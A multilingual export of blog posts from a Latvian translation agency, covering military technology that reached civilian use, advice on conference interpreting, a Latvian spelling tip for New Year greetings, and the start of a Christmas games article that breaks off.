militärischen, zivilen und technischen Innovation unumgänglich ENTWICKLUNGEN IN DER MILITÄRTECHNOLOGIE, DIE IN UNSEREM ALLTÄGLICHEM LEBEN IHREN PLATZ GEFUNDEN HABEN: Vielleicht ist uns gar nicht bewusst, dass viele der Erfindungen, die wir in unserem täglichen Leben nutzen, am Anfang für das Militär gedacht waren. Nachfolgend einige Beispiele. DAS INTERNET Die bekannteste Erfindung, die vom Militär auf den zivilen Markt übertragen wurde, ist das Internet. Am Ende des Zweiten Weltkriegs befürchtete die US-Regierung, dass ein weiterer globaler Konflikt bevorsteht. Die Amerikaner kamen zu dem Schluss, dass der Schlüssel zum Erfolg in einem möglichen zukünftigen Konflikt nicht nur in Stärke und Waffen, sondern auch im effizienten Informationsfluss liegt. Und so wurde die Idee eines Kommunikationsnetzes geboren. Diese Aufgabe wurde 1958 vom amerikanischen Präsidenten Dwight David Eisenhower an eine spezielle Forschungsorganisation namens DARPA (Defence Advanced Research Project Agency) übertragen. 11 Jahre später wurden die ersten Kommunikationsknoten gebaut und das ARPANET-Netz war geboren - der Vorläufer des heutigen Internets. Über dieses Netz wurde 1971 dank Ray Tomlinson die erste E-Mail der Geschichte verschickt. Seine Arbeit im US-Verteidigungsministerium führte zur Entwicklung der Software für die Kommunikation im ARPANET-Netz der Regierung. Tomlinson führte auch das @-Symbol in E-Mail-Adressierungssysteme ein. GPS Das GPS, das wir fast täglich nutzen, hat seine Wurzeln ebenfalls im Militär. Es wurde für die US Navy entwickelt. Im Dezember 1973 begann die erste Phase des GPS-Systems: NAVSTAR. Alle Zweige des US-Militärs (Army, Navy, Air Force) sowie private Unternehmen und Forschungszentren waren an diesem Projekt beteiligt. DROHNEN Eines der neuesten Geräte, das seinen Platz auf dem zivilen Markt gefunden hat, sind unbemannte Luftfahrzeuge, auch Drohnen genannt. Ursprünglich wurden diese Geräte für militärische Zwecke hergestellt, aber heute können sie von jedermann erworben werden. Die bekannteste Militärdrohne ist der Predator (dt. Raubtier) die als eine der 10 Drohnen gilt, die die Welt verändert haben. Unbemannte Luftfahrzeuge haben das Militär und die Luftfahrt in ihrer Arbeitsweise für immer verändert. Ihre Ursprünge gehen auf die 1970er und 1980er Jahre zurück, als israelische und US-amerikanische Initiativen Segelflugzeuge, so genannte unbemannte Luftfahrzeuge (UAVs), entwickelten. Darauf bauen die heutigen modernen Drohnen auf. MIKROWELLE Die Geschichte der Mikrowelle ist ziemlich eigenartig. 1946 testete Percy Spencer, ein Ingenieur des Rüstungskonzerns Raytheon, Magnetrone für militärische Radargeräte. Er stellte fest, dass dabei die Süßigkeiten in seiner Tasche zu schmelzen begannen. Er war von diesem Phänomen so fasziniert, dass er beschloss, dies zu untersuchen und nutzen. Er versuchte, Eier und Popcorn unter die Magnetfeldröhre zu legen und stellte fest, dass sie die Eier effektiv erhitzen und das Popcorn erwärmen konnte. Ein Jahr später kam die erste Mikrowelle mit dieser Technologie auf den Markt. UNTERNEHMEN, DIE KOMMERZIELLE UND MILITÄRISCHE PRODUKTION KOMBINIEREN Viele kommerzielle Unternehmen sehen und ergreifen die Gelegenheit, ihre Entwicklung durch die Beteiligung an der Produktion von militärischen Geräten voranzutreiben. Ein Unternehmen mit einer breiten Produktions- und Kundenpalette kann beispielsweise eine mögliche Krise oder einen Abschwung in einem Sektor überstehen (Beispiel: die Corona-Pandemie). Das Militär ist als öffentlich finanzierte Einrichtung ein großer und stabiler Kunde und die Zusammenarbeit mit ihm kann für ein Unternehmen manchmal ein langsames, aber stetiges Wachstum und Einkommen bedeuten. Im Folgenden sind einige Beispiele von Unternehmen aufgeführt, die erfolgreich kommerzielle und militärische Produktion kombinieren. Raytheon Ein amerikanisches Unternehmen und einer der größten Waffenhersteller der Welt. Raytheon stellt eine breite Palette von Produkten her, von Radar- und Raketensystemen über Flugzeugtriebwerke bis hin zu Heizungs-, Lüftungs- und Klimasystemen. Das Unternehmen stellt die hochmoderne MIM-104 Patriot her, ein Boden-Luft-Raketensystem (SAM), das Ziele in einer Entfernung von mehr als 100 Kilometern treffen kann. Nach der Fusion mit United Technologies im Jahr 2020 verfügt Raytheon über ein breites Portfolio von Luft- und Raumfahrtunternehmen, darunter die Triebwerkshersteller Pratt & Whitney und Collins Aerospace. Raytheon ist auch nicht zu abhängig vom Pentagon oder von kommerziellen Fluggesellschaften. Boeing Boeing ist ein amerikanisches Unternehmen, das vor allem für die Herstellung von Verkehrs- und Militärflugzeugen sowie von Raumfahrt- und Verteidigungssystemen bekannt ist. Der Verteidigungssektor macht weniger als ein Drittel des Gesamtumsatzes von Boeing aus. Der größte Teil des Verteidigungsportfolios von Boeing basiert auf der Luftfahrt - die F/A-18 Super Hornet, F-15-Kampfflugzeuge, Apache-Hubschrauber und verschiedene Überwachungs- und Unterstützungsflugzeuge. General Dynamics Das Unternehmen ist ein wichtiger Lieferant von Panzern und schweren Landfahrzeugen für die US-Regierung und besitzt mehrere Werften, die nuklearbetriebene Marineschiffe und U-Boote herstellen. Das Unternehmen ist der Hersteller der berühmten Abrams-Panzer. Zu General Dynamics gehört auch Gulfstream, einer der weltweit größten Hersteller von Geschäftsflugzeugen. MILITÄRISCHER SEKTOR IN LETTLAND Nicht nur multinationale Unternehmen haben es geschafft, sich an die heutige stressige Situation anzupassen - es gibt auch viele verschiedene Unternehmen in Lettland, die ihre Dienstleistungen und Produkte für den militärischen Sektor anbieten können. SIA Pelegrin Einige von Ihnen haben vielleicht schon von Tarragon gehört, einem in Lettland hergestellten und montierten Ultraleichtflugzeug, das bereits seit 2022 von unseren Streitkräften eingesetzt wird. Die Flugzeuge von Tarragon werden seit 2018 in Riga, Mangaļsala, gebaut. Diese ultraleichten Flugzeuge werden tatsächlich in Handarbeit hergestellt. Fließbänder oder Roboter werden hierbei nicht genutzt. Die Flugzeugteile werden größtenteils in Riga hergestellt. Das Triebwerk, die Elektronik und die von Tarragon gefertigten Rümpfe werden nicht in Riga hergestellt. Tarragon ist ein zweisitziges Flugzeug, das Geschwindigkeiten von bis zu 370 Kilometern pro Stunde erreichen und auf eine Höhe von bis zu 3,5 Kilometern steigen kann. Aufgrund ihrer günstigen Wartungskosten und ihrer Größe sind die Flugzeuge von Pelegrin bei wohlhabenden Menschen in Europa, Asien und den USA sowohl für Privat- als auch für Vergnügungsflüge beliebt. VR-1 FOX Im Jahr 2020 schlossen sich die Gründer zweier bekannter einheimischer Rennteams - der Baltic Motorsport Promotion SIA und der Vāģi SIA zusammen, um das beste auf dem Markt erhältliche Fahrzeug für Spezialeinheiten zu entwickeln - den VR FOX. Im Jahr 2021 erhielt das Unternehmen vom lettischen Verteidigungsministerium eine Finanzierung für den ersten Entwurf eines militärischen Mannschaftstransporters. 2022 unterzeichnete das Unternehmen einen Forschungs- und Entwicklungsvertrag mit den lettischen Streitkräften für die Produktion der ersten beiden Prototypen. Das erste Fahrzeug wurde am 5. September 2022 auf dem Truppenübungsplatz Ādaži vorgestellt. Es war auch Teil der Militärparade zum Unabhängigkeitstag der nationalen Streitkräfte am 18. November 2022. Der Militärroller Mosphera Ende 2020 wurde mit der Konstruktion und dem Prototypenbau des Mosphera-Hochleistungsrollers begonnen, die Serienproduktion des Mosphera beginnt im Januar 2022. Diese Roller sind wie ein Panzer gebaut und können in der Forst- und Landwirtschaft, bei der Jagd, in der Logistik, in Häfen und Flughäfen und sogar im Weinbau eingesetzt werden, wobei die Haltbarkeit oberste Priorität hat. Diese einzigartigen Elektroroller sollen bereits Kunden in den USA, der Tschechischen Republik, Frankreich, Israel, Polen, Finnland, der Slowakei und der Schweiz erreicht haben und ihre wahren Fähigkeiten werden bereits in der Ukraine getestet. Anfang 2023 wurden dank der Kampagne „Labas ziņas“ (dt. frohe Botschaft) auf der Plattform Ziedot. lv vier dieser Elektroroller an die ukrainische Armee gespendet. Die Mosphera-Militärroller werden in Liepāja vom Unternehmen Global Wolf Motors hergestellt. Das Unternehmen gibt an, dass diese Roller auf ihre hohe Geländetauglichkeit getestet wurden und eine Höchstgeschwindigkeit von 100 Kilometern pro Stunde erreichen. Darüber hinaus können sie mit einer einzigen Ladung bis zu 300 Kilometer weit fahren. Die Möglichkeiten, die diese Roller bieten, sind sehr nützlich für Armeeaufklärer und Spezialeinheiten, deren Missionen auf Mobilität und Agilität beruhen. Patria 6x6-Panzerfahrzeuge Mit dem Vertrag zwischen Finnland und Patria in 2021 konnte Lettland mehr als 200 gepanzerte Mannschaftstransportwagen Patria 6x6 bestellen, die bis 2029 geliefert werden sollen. Dieses Abkommen stärkt die Kampffähigkeit der lettischen Streitkräfte sowie den lettischen Militärsektor und die lettische Wirtschaft als Ganzes. Patria gehört Finnland (50,1%) und dem norwegischen Unternehmen Kongsberg Defence & Aerospace AS (49,9%). Patria wurde 1997 durch den Zusammenschluss mehrerer finnischer Hersteller von Militär- und Luftfahrtsystemen gegründet. Um einen Beitrag zur Entwicklung des lettischen Militärsektors zu leisten und gepanzerte Patria 6x6-Fahrzeuge aufzurüsten, zu montieren und zu reparieren, wurde am 24. Mai 2024 in Valmiera die Produktionsstätte für militärische Ausrüstung von Defence Partnership Latvia, einem Unternehmen der Patria-Gruppe, eröffnet, in der gepanzerte Patria 6x6-Fahrzeuge hergestellt werden sollen. Der lettische Hersteller von unbemannten Luftfahrzeugen SIA „Edge Autonomy Riga“. Die SIA „Edge Autonomy Riga" (ehemals „UAV Factory“) wurde 2009 gegründet und hat Niederlassungen in Lettland und den USA. Sie gehört zu den weltweit führenden Unternehmen in der Branche der unbemannten Flugsysteme. Seine Flugzeug- und Videokameras werden in mehr als 50 Ländern für militärische, zivile und akademische Anwendungen verkauft. Das Unternehmen hat bereits mehrere UAV-Systeme an die lettischen Streitkräfte geliefert. 2023 wurden die Flugzeugmodelle des Unternehmens im Rahmen eines US-Militärhilfepakets an die ukrainische Armee gespendet. WELCHE VORTEILE MILITÄRTECHNOLOGIEN IM ZIVILEN BEREICH BIETEN Wie oben dargelegt, bringt die Anpassung militärischer Technologien an den zivilen Sektor viele Vorteile für die Gesellschaft mit sich. Fortschrittliche Technologien, die für die Armee entwickelt wurden, können auch im Alltag genutzt werden und erhöhen die Sicherheit und die Lebensqualität der Bürger. Ihr Einsatz im zivilen Bereich ermöglicht zudem eine widerstandsfähigere Infrastruktur, effizientere Rettungssysteme und moderne Kommunikationslösungen. Darüber hinaus wird durch den Austausch vom militärischen Wissen und Know-how an die Industrie die weltweite wirtschaftliche und technologische Entwicklung angeregt und vorangetrieben. Somit können neue Arbeitsplätze geschaffen und die Position eines Landes auf dem internationalen Markt gestärkt werden. ROLLE DER DOLMETSCHER UND ÜBERSETZER IN DER ZIVILEN MILITÄRTECHNIK Die Rolle von Dolmetschern und Übersetzern wird mit der internationalen Entwicklung fortschrittlicher Militärtechnologien immer wichtiger. Dolmetscher und Übersetzer sorgen für eine effektive Kommunikation zwischen Fachleuten aus der Militärbranche und zivilen Partnern und gewährleisten einen nahtlosen Austausch von Wissen und Erfahrung bei der Durchführung gemeinsamer Projekte. Damit zivile Organisationen das Potenzial dieser fortschrittlichen Lösungen voll ausschöpfen können, ist eine genaue Übersetzung von Anleitungen, fachspezifischen und technischen Unterlagen unerlässlich. Darüber hinaus erleichtern Übersetzer und Dolmetscher die internationale Zusammenarbeit im Bereich der Verteidigungstechnologien, indem sie eine erfolgreiche Kommunikation zwischen Partnern aus verschiedenen Ländern gewährleisten. Ihre Rolle ist entscheidend für den Aufbau von Vertrauen und gegenseitigem Verständnis, was für die wirksame Entwicklung und Umsetzung innovativer Lösungen unerlässlich ist. Wir von Skrivanek bieten seit mehr als 30 Jahren Übersetzungen für das Militär an. Wir haben große Erfahrung in der Übersetzung vertraulicher Dokumente für die NATO, die EU und Unternehmen, die in diesem Bereich tätig sind. Wir nutzen und bauen auch neue Technologien ein, um den sich ständig ändernden Bedürfnissen unserer Kunden gerecht zu werden. Füllen Sie das Kontaktformular auf unserer Website aus, um ein kostenloses Angebot für Ihr Projekt zu erhalten, oder buchen Sie eine Online-Beratung, um herauszufinden, wie wir Ihnen helfen können. *Mit künstlicher Intelligenz (KI) erstellte Bilder Ziņu izvēlne Lesen Sie unseren vorherigen BlogbeitragValsts ieņēmumu dienestsLesen Sie unseren neuen BlogbeitragValsts sociālās apdrošināšanas aģentūra --- > Konferenzdolmetschen - lesen Sie unseren Blogbeitrag und erfahren Sie, was Sie für eine erfolgreiche Konferenz und gutes Dolmetschen benötigen. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional KONFERENZDOLMETSCHEN - VORTEILE, BEGRIFFE UND ERKLÄRUNGEN Die meisten von uns sind wahrscheinlich schon einmal mit Konferenzdolmetschen in Berührung gekommen, als sie an einer internationalen Veranstaltung teilnahmen und die „übertragene“ Rede eines Redners in einer Sprache hörten, die wir verstehen. Das bekannteste Beispiel für Konferenzdolmetschen ist das Simultandolmetschen in 24 Sprachen durch die Institutionen der Europäischen Union und der Kommission. Warum ist diese Art der Übersetzung wichtig und wie unterscheidet sie sich von schriftlichen Übersetzung - werden wir in diesem Blogbeitrag sehen. WARUM KONFERENZDOLMETSCHEN NOTWENDIG IST In unserer modernen globalen Gesellschaft, in der das Niveau der englischen Sprachkenntnisse zunimmt, könnte man meinen, dass es überhaupt keinen Bedarf an Übersetzungen gibt. Es gibt jedoch viele Gründe, warum es sich lohnt, das Übersetzen/ Dolmetschen für eine Veranstaltung oder Konferenz in Betracht zu ziehen. Hier sind einige der offensichtlichsten Gründe, warum eine Konferenz möglicherweise übersetzt/ gedolmetscht werden muss. Teilnehmer und Besucher aus verschiedenen Ländern. Es hat einen Mehrwert, Fachleuten aus anderen Ländern und sogar Kulturen zuzuhören, um den Austausch von Erfahrungen und Wissen zu erleichtern. Somit kann man nicht nur ausländische Experten als Redner gewinnen, sondern auch Zuhörer aus anderen Ländern einladen, was die Konferenz im globalen Markt sichtbarer macht. Überwindung der Sprachbarriere. Beim Sprechen in einer Fremdsprache kann es manchmal vorkommen, dass sich die Sprecher nicht so präzise ausdrücken, wie sie es gerne möchten. Mit Hilfe eines Dolmetschers müssen Sie sich darüber keine Gedanken machen. Genaue Übermittlung von Informationen. Die Übersetzung verringert das Risiko, dass Wörter oder Ausdrücke verwendet werden, die von den Zuhörern missverstanden werden könnten. Nicht jedes Sprichwort oder jeder Witz bedeutet in jeder Sprache dasselbe. Höhere Aufmerksamkeitsspanne Es ist einfacher, einer Erzählung in der Muttersprache zuzuhören - vor allem in einer lauten Umgebung, wie sie bei Konferenzen häufig anzutreffen ist - und so das Engagement der Teilnehmer zu verbessern. Höhere berufliche Anforderungen. Je sichtbarer die Veranstaltung wird und je höher das Niveau ist, desto höher sind die Erwartungen der Besucher, auch was die Bereitstellung von Übersetzungen/ Dolmetschen angeht. Die Besucher verlassen sich darauf. Beim Konferenzdolmetschen gibt es zwei Arten des Dolmetschens: Simultan- und Konsekutivdolmetschen. Beide Arten des Dolmetschens haben ihre eigenen Feinheiten und Vorteile. Schauen wir uns die Unterschiede genauer an: KONSEKUTIVDOLMETSCHEN Beginnen wir mit dem Konsekutivdolmetschen, das häufig für kleine private oder berufliche Anlässe gewählt wird, wie z. B. Geschäftsreisen oder Hochzeitszeremonien oder ähnliche Anlässe. Konsekutivdolmetschen beginnt - wie der Name schon sagt - nachdem die Rede „fertig“ ist. Meistens, sowohl bei Sitzungen als auch bei kleineren Veranstaltungen, sagen die Redner ein paar Sätze und halten einen Moment inne, damit der neben ihnen stehende Dolmetscher das soeben Gehörte noch einmal wiederholen kann, allerdings in einer anderen Sprache. Für dieses Dolmetschen ist keine besondere Ausrüstung erforderlich - ein Mikrofon reicht aus. DIE VORTEILE DES KONSEKUTIVDOLMETSCHENS Genauigkeit. Der Dolmetscher hat etwas Zeit, um über das Gehörte nachzudenken und es in eine andere Sprache zu übersetzen, z. B. durch Vereinfachung komplexerer Begriffe, was besonders nützlich ist, um Missverständnisse zu vermeiden. Geringe Kosten. Im Allgemeinen ist das Konsekutivdolmetschen kostengünstiger, da keine zusätzliche technische Ausrüstung benötigt wird - lediglich ein Mikrofon, das dem Dolmetscher in die Hand gedrückt wird. Es ist auch möglich, eine Veranstaltung mit einem Dolmetscher durchzuführen, im Gegensatz zum Simultandolmetschen, für das mindestens zwei Dolmetscher erforderlich sind, die sich bei intensiver Arbeit alle 10-30 Minuten gegenseitig ablösen können. Flexibilität. Konsekutivdolmetschen eignet sich für Sitzungen oder kleinere Veranstaltungen, bei denen das Dolmetschen in Echtzeit weniger wichtig ist, z. B. kurz vor einem Konzert. Bei kleineren Veranstaltungen kann das Dolmetschen auch von Personen vor Ort übernommen werden, die mit dem Thema vertraut sind und es in ihrer eigenen Sprache einigermaßen gut ausdrücken können. SIMULTANDOLMETSCHEN Das Simultandolmetschen, das parallel zum Vortrag des Teilnehmers erfolgt, ist technisch anspruchsvoller, kann aber je nach Größe und Ernsthaftigkeit der Veranstaltung für die Organisatoren sehr viel nützlicher sein. Simultandolmetschen wird für Konferenzen meist aus mehreren Gründen gewählt. Somit muss man die Rede nicht unterbrechen, gleichzeitig kann man in Echtzeit die Körpersprache, den Augenkontakt, die Emotionen, den Erzählfluss und die Bilder des Vortrags verfolgen. Manch einer mag sich fragen, warum für jede Sprachkombination zwei Dolmetscher benötigt werden, wenn es nur einen Sprecher gibt. Zwei Dolmetscher sind notwendig, weil das Simultandolmetschen die Konzentration des Dolmetschers schneller erschöpft als das Konsekutivdolmetschen. Ohne Pause kann der Dolmetscher nicht gut dolmetschen. Die Dolmetscher müssen auch irgendwie Zeit finden, Wasser zu trinken. Das kann man mit jeder Sportart vergleichen, wir alle brauchen eine Pause, um uns zu erholen. Die Dolmetscher wechseln in der Regel alle 20-30 Minuten. DIE VORTEILE DES SIMULTANDOLMETSCHENS Schnelligkeit und Effizienz. Der Redner muss nicht unterbrochen werden, da die Zuhörer dem Dolmetscher in Echtzeit und mit nur wenigen Sekunden Verzögerung zuhören. Auf diese Weise können alle Besucher die Emotionen, die Körpersprache, den Augenkontakt, den Redefluss und die Witze der Redner verfolgen. Erhöhte Wahrnehmung. Wenn man einen hochrangigen Experten aus dem Ausland zu einer Konferenz einlädt, ist es möglich, dass nicht alle Zuhörer das Gesagte auf demselben Niveau verstehen. Es ist auch möglich, einen reibungslosen Ablauf der Fragerunde zu gewährleisten und das Engagement des Publikums zu erhöhen. Auswahloptionen. Jeder Zuhörer hat einen anderen Wissensstand und andere Sprachkenntnisse. Im Gegensatz zum Konsekutivdolmetschen haben Sie beim Simultandolmetschen die Wahl, ob Sie die Rede in der Originalsprache oder in der Übersetzung hören möchten. DIE HERAUSFORDERUNGEN DES KONFERENZDOLMETSCHENS Über die Herausforderungen, mit denen sich Dolmetscher beim Dolmetschen konfrontiert sehen, könnte man einen eigenen Beitrag schreiben, da es doch ziemlich schwierig ist. Werfen wir einen Blick auf einige von ihnen, welche die Organisatoren von Veranstaltungen auch berücksichtigen sollten. Hohe Qualifikationsschwelle Welche Art des Dolmetschens auch immer gewählt wird, es besteht kein Zweifel daran, dass die Rolle des Dolmetschers ein hohes Maß an Fähigkeiten sowie einschlägige Erfahrung und ein sehr umfassendes Wissen über praktisch jeden Lebensbereich erfordert. Dies ist besonders wichtig bei Konferenzen, wo ein falsch gesprochenes oder gehörtes Wort die Bedeutung einer Rede erheblich verändern und zu Missverständnissen führen kann. Kenntnisse der Terminologie, des Inhalts Dolmetscher müssen nicht nur in der Lage sein, kurzfristig eine mündliche Übersetzung auszuliefern, sondern benötigen auch alle möglichen Hintergrundinformationen, damit sie sich mit möglichen Begriffe, Fakten, Zahlen und Buchtitel, die während einer Rede verwendet werden könnten, gut auskennen. Dies ist besonders wichtig bei Konferenzen mit unterschiedlichen Themen, mit denen die Dolmetscher möglicherweise nicht alle gleichermaßen vertraut sind. Technische Probleme Jede inhaltsreiche Veranstaltung kann mit technischen Problemen behaftet sein, die es nicht nur den Teilnehmern, sondern auch den Dolmetschern erschweren, das Gesagte zu verstehen. Um dieses Risiko zu minimieren, ist es sinnvoll, einen Aktionsplan zu erstellen, der festlegt, was im Falle eines technischen Problems geschieht oder wer handeln wird. Das Risiko technischer Probleme lässt sich erheblich verringern, wenn alle möglichen Geräte vor Beginn der Konferenz gründlich getestet und bei Bedarf angepasst werden. Hohe Kosten Was ist, wenn die Ausrüstung für das Simultandolmetschen zu teuer erscheint? Manchmal, wenn die Übersetzung weniger wichtig ist, kann eine billigere Lösung, wie z. B. ein Führungsgerät, verwendet werden. Die Qualität ist dann zwar schlechter und kann einige der Anwesenden stören, doch ist dies manchmal eine Option, wenn das Budget knapp ist. Allerdings wird die Qualität beträchtlich darunter leiden. Oft fragen unsere Kunden ob Pausen und Mittagspausen in die Preisberechnung miteinbezogen werden. Dies ist inbegriffen, da der/ die Dolmetscher für eine bestimmte Anzahl von Tagen/Stunden gebucht wird/ werden, die auch Pausen und Mittagspausen beinhalten. Kulturelle Unterschiede Was in einer Kultur akzeptabel ist, kann in einer anderen für Verwirrung sorgen. Oft fügen die Redner auch eine Prise Humor in ihre Reden ein, um die Aufmerksamkeit der Zuhörer aufrechtzuhalten, sie zu aktiven Fragen zu bewegen oder Ängste zu überwinden. In Anbetracht der Unterschiede zwischen den Kulturen und ihrer Geschichte können Witze nur selten von einer Sprache in eine andere übertragen werden, ohne dass einige Anpassungen vorgenommen werden müssen, um sicherzustellen, dass nicht nur die Bedeutung des Gesagten verstanden wird, sondern auch der Humor erhalten bleibt. Das Gleiche gilt für Gleichnisse, Metaphern und andere sprachliche Ausdrücke, die in einer Sprache alltäglich und in einer anderen fast tabu sein können. In den USA ist es beispielsweise nicht unüblich, von der Lösung eines Problems durch einen Kreuzzug dagegen zu sprechen, was in vielen anderen Ländern - einschließlich Lettland - eine andere Bedeutung hat. 5 TIPPS VON SKRIVANEK FÜR EFFEKTIVES KONFERENZDOLMETSCHEN Unsere fünf Tipps bei der Planung von einer Veranstaltung, um Erfolg beim Konferenzdolmetschen zu haben: 1. GRÜNDLICHE VORBEREITUNG Stellen Sie den Dolmetschern (bzw. dem für die Dolmetscher zuständigen Übersetzungsbüro) alle erforderlichen Materialien - Präsentationen, Reden, wichtige und komplexe Terminologie, Fakten, Zahlen, Titel, Namen und Nachnamen - rechtzeitig zur Verfügung, damit die Übersetzung nicht „stockt“ und ohne größere Komplikationen abläuft. So unterscheiden sich beispielsweise die Anforderungen und die Terminologie von Übersetzungen für den kommerziellen Sektor stark von denen für Recht, Bauwesen, Psychologie oder andere Branchen. Manchmal haben die Dolmetscher einen schlechten Überblick über das Geschehen auf der Bühne und können ohne zusätzliches Material nicht alle Fakten korrekt wiedergeben, insbesondere wenn Namen, Orte usw. schwer auszusprechen sind. Wenn Sie mit Dolmetschern arbeiten, müssen Sie sich auch darum kümmern, wie diese zu der Veranstaltung kommen, ob eine Unterkunft benötigt wird und viele andere organisatorische Fragen. 2. DIE AUSRÜSTUNG ÜBERPRÜFEN Je nachdem, für welche Art von Übersetzung Sie sich entscheiden, ist die benötigte Ausrüstung unterschiedlich. Für das Konsekutivdolmetschen reicht ein Mikrofon aus, für das Simultandolmetschen werden jedoch auch Übersetzungskabinen, Kopfhörer für die Dolmetscher sowie für die Konferenzteilnehmer:innen und andere technische Geräte benötigt, die vor Beginn der Veranstaltung überprüft werden sollten. Außerdem sollte sichergestellt werden, dass die Dolmetscherinnen und Dolmetscher das Geschehen auf der Bühne sehen können, da es oft wichtig ist, zu sehen, was der Redner auf der Bühne tut. 3. BEAUFTRAGUNG VON QUALIFIZIERTEN DOLMETSCHERN UND EINES ÜBERSETZUNGSBÜROS Für das Konsekutivdolmetschen bei kleineren Veranstaltungen ist die Hilfe von Kollegen oft ausreichend. Bei Konferenzen, bei denen die Themen der einzelnen Reden oder Präsentationen variieren können, ist es jedoch wichtig, ein Übersetzungsbüro oder einen qualifizierten Dolmetscher zu beauftragen, um die Dienstleistung zu gewährleisten. Organisatoren entscheiden sich oft für Übersetzungsbüros, die Übersetzungen in mehrere Sprachen anbieten, ohne sich um technische Ausrüstung kümmern zu müssen. 4. EINE KLARE KOMMUNIKATION FÖRDERN Damit die Übersetzung die gleiche Qualität hat wie die Rede, auf der sie basiert, ist es ratsam, mit allen an der Veranstaltung Beteiligten „Klartext“ zu reden, damit es keine Unklarheiten gibt und die wichtigsten Punkte frühzeitig besprochen werden können. Besonders wichtig ist es, mit dem Redner offen zu sprechen, sich während der Rede Zeit zu nehmen und an eine Geste zu denken, die gezeigt werden könnte, wenn der Redner mit seinen Worten rumspielt. 5. NACH DER KONFERENZ EINE UMFRAGE UND ANALYSE DURCHFÜHREN Teilnehmer und Besucher sollten befragt werden, um die Qualität der Konferenz und der Verdolmetschung zu bewerten. So können Sie fundierte, datengestützte Schlussfolgerungen ziehen und die geeigneten Lösungen für Ihre nächste Konferenz auswählen. FAZIT In der modernen globalisierten Welt ist das Konferenzdolmetschen ein unverzichtbares Instrument und sogar ein Mittel, um Sprachbarrieren zu überwinden, die neuesten Ideen auszutauschen, Produkte und Dienstleistungen zu fördern und zu verkaufen und Ihr öffentliches Image als Experte aufzubauen. Sowohl das Simultan- als auch das Konsekutivdolmetschen haben ihre Vor- und Nachteile. Bei der Wahl zwischen diesen beiden Dolmetscharten ist es wichtig, die Art der Veranstaltung, die Anzahl der Teilnehmer und des Publikums sowie die Komplexität des Themas/ der Themen zu berücksichtigen. Je mehr sich diese Parameter ändern, desto mehr müssen die Organisatoren und Dolmetscher geschult werden, um eine optimale Qualität der Übersetzung zu gewährleisten. Wenn man alle oben genannten Variablen und Tipps zusammennimmt, kann man zu einer Schlussfolgerung über die kosteneffektivste Lösung kommen, um eine qualitativ hochwertige Konferenzübersetzung anbieten zu können. Wir von Skrivanek Baltic geben gerne unsere Erfahrung, Ratschläge und Lösungen weiter - nicht nur für die Übersetzung, sondern auch für die notwendige Ausrüstung, ihre Platzierung im Raum, die rechtzeitige Übergabe der Materialien an die Dolmetscher und andere wichtige Details. Lassen Sie sich von uns die beste Dienstleistung für Ihre Veranstaltung und Ihr Budget empfehlen. Dieser Blogbeitrag enthält teilweise Informationen aus dem Buch „Konferenzdolmetschen“ (2016) von Professor Andrejs Veisbergs von der Universität von Lettland. --- > Kā ir pareizi? Laimīgu jauno gadu! / Laimīgu Jauno gadu! / Laimīgu Jaungadu! Uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2024-12-27 - Modified: 2025-01-22 - URL: https://skrivanek.lv/laimigu-jauno-gadu-vai-jauno-gadu-vai-jaungadu/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional Laimīgu jauno gadu / Laimīgu Jauno gadu / Laimīgu Jaungadu 1 Novēlam sirsnīgu, enerģisku, priecīgu un mīlestības piepildītu jauno gadu! Vai tomēr – laimīgu Jauno gadu? Varbūt tomēr – laimigu Jaungadu? Kurš novēlējums uzrakstīts pareizi? Šoreiz visi! Gada izskaņā vēlot laimi, vārdkopas "jaunais gads" pierakstā var lietot gan lielo, gan mazo sākumburtu, taču jāatceras, ka sākumburts maina novēlējuma nozīmi. Ar lielo burtu apzīmē gada sākšanos, gada pirmo dienu. Tātad, lai novēlētu laimīgu vecā gada pavadīšanu un jaunā sagaidīšanu, sveicienu rakstīsim ar lielo burtu: "Laimīgu Jauno gadu! " vai "Laimīgu Jaungadu! " Ja vēlamies novēlēt laimes pilnus mirkļus visa gada garumā, jālieto mazais sākumburts: "Laimīgu jauno gadu! "Tā arī mēs jums visiem novēlam sirsnīgu, enerģisku, priecīgu un mīlestības piepildītu jauno gadu! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Discover 20 fun games to celebrate Christmas with family, friends or colleagues. From the ugly sweater competition to the gift bag race! - Published: 2024-12-18 - Modified: 2025-07-01 - URL: https://skrivanek.lv/smiekligas-un-jautras-speles-ziemassvetkiem/ - Kategorijas: Article, Raksti - Translation Priorities: Optional 20 FUNNY AND ENTERTAINING GAMES TO CELEBRATE CHRISTMAS December is here! The perfect time to make your festive plans, buy presents and decorate the house. To make sure that Christmas is not just a time spent at the festive table eating treats, it's worth thinking about fun activities and games. To make your get-togethers not only warm but also fun, we've put together some funny and entertaining activities for Christmas celebrations, suitable for families, groups of friends and events with colleagues! UGLY CHRISTMAS SWEATER 